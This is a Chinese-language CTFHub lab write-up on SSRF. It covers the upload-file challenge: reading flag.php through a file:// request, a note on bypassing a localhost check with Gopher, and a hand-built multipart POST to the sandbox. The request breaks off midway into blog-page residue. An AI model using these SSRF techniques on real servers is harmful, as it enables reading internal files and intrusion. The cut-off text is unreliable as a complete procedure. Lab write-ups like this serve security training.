CTFHub技能树通关教程——SSRF漏洞原理攻击与防御(二)(上传文件,FastCGI,Redis协议,URL Bypass)
上传文件
题目:这次需要上传一个文件到flag.php了.祝你好运
访问内网下的127.0.0.1/flag.php,这里什么也没有,就一个上传文件,还没有提交按钮

这里脑回路就来了,题目要求是上传文件,没有提交按钮,我可以自己添加一个啊(・◡ु‹ )

Tips:在html中如果button在form标签中,默认是提交按钮,这里可以不要改变他的type属性。

这个时候就可以提交了,但是没有任何内容。

我们尝试访问源码利用file协议基础漏洞访问 file:///var/www/html/flag.php
<?php
error_reporting(0);
//判断请求的ip,虽然不能访问127.0.0.1,但是可以使用Gopher协议绕过
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
// 判断文件是否存在
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
构造自己的post上传文件请求包
POST /flag.php HTTP/1.1
Host: challenge-3fe3506777a14929.sandbox.ctfhub.com:10800
Content-Length: 231
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Accept-Encoding: gz

(上传文件,FastCGI,Redis协议,URL Bypass)&spm=1001.2101.3001.5002&articleId=139751248&d=1&t=3&u=7c2b103d36b444ed8dd3c2c2f28c9c0c)
1万+

被折叠的 条评论
为什么被折叠?



